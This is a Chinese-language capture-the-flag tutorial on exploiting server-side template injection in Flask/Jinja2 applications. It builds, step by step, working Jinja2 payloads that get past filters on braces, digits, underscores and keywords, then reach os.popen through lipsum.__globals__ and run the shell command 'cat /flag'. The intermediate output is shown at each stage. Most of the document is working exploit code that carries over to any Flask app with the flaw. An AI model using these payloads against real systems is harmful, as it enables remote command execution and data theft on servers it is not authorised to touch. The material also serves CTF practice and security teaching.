判断漏洞

未过滤

// 看Flask框架基本上会有SSTI, 如果输出49则证明有漏洞
{{7*7}}

过滤

// 双花括号被过滤, 用{%%}
{%print 123%}

// 数字被过滤, 通过if条件来判断: {%if 条件%}result{%endif%}
{%if not a%}yes{%endif%}
// 数字被过滤, 构造payload先获取数字然后将数字变为乘法运算
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}

// 部分关键词被过滤, 例如:
{%set popen=dict(popen=a)|join%}
// 换成
{%set pp=dict(po=a,pen=b)|join%}


如果if的条件正确, 就会输出result, 否则输出空 观察页面是否输出yes, 如果输出yes, 则代表有漏洞, 其中, 语句中的a默认是false, 前>面加一个not就是true

获取数字

先测试是否数字被过滤,如无过滤跳过这一步

?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%print (one,two,three,four,five,six,seven,eight,nine)%}

image-20240310155927535

拼接payload

先确定payload

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

思路

如果数字被过滤, 获取数字

获得__globals__
---> 从lipsum|string|list中获取下划线
---> 使用pop()方法 pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回

获取os模块
---> 使用get方法

获取popen方法
---> 获取popen字段

获取flag
---> 获得chr函数 通过chr函数来获得命令的每个字符
---> 获取__builtins__ 通过(lipsum|attr("__globals__")).get("__builtins__").get("chr")
---> 获取read 执行shell命令

获取 pop

// 显示 pop 成功
{%set pop=dict(pop=a)|join%}
{%print pop%}

查看 string 表

// _ 会在第 24 个
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}

利用 pop 获取下划线

// 显示 _ 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}{%print xiahuaxian%}

获取__globals__

// 显示 __globals__ 成功
{%set pop=dict(pop=a)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

获取 get

// 显示 get 成功
{%set get=dict(get=a)|join%}
{%print get%}

获取os模块

// 显示 <module 'os' from '/usr/local/lib/python3.8/os.py'> 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}

获取popen字段

// 显示 popen 成功
{%set popen=dict(popen=a)|join%}
{%print popen%}

获取popen方法

// 返回 <function popen at 0x...> 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}

获取__builtins__

// 返回 __builtins__ 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

获取 chr 函数

// 返回 <built-in function chr> 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

拼接 shell 命令

// 返回 cat /flag 成功(此处执行命令为 cat /flag)
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(99)+char(97)+char(116)+char(32)+char(47)+char(102)+char(108)+char(97)+char(103)%}
{%print command%}

获取read

// 返回 read 成功
{%set read=dict(read=a)|join%}
{%print read%}

执行 shell ( payload )

{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(99)+char(97)+char(116)+char(32)+char(47)+char(102)+char(108)+char(97)+char(103)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}

其他方式

Fenjing一把梭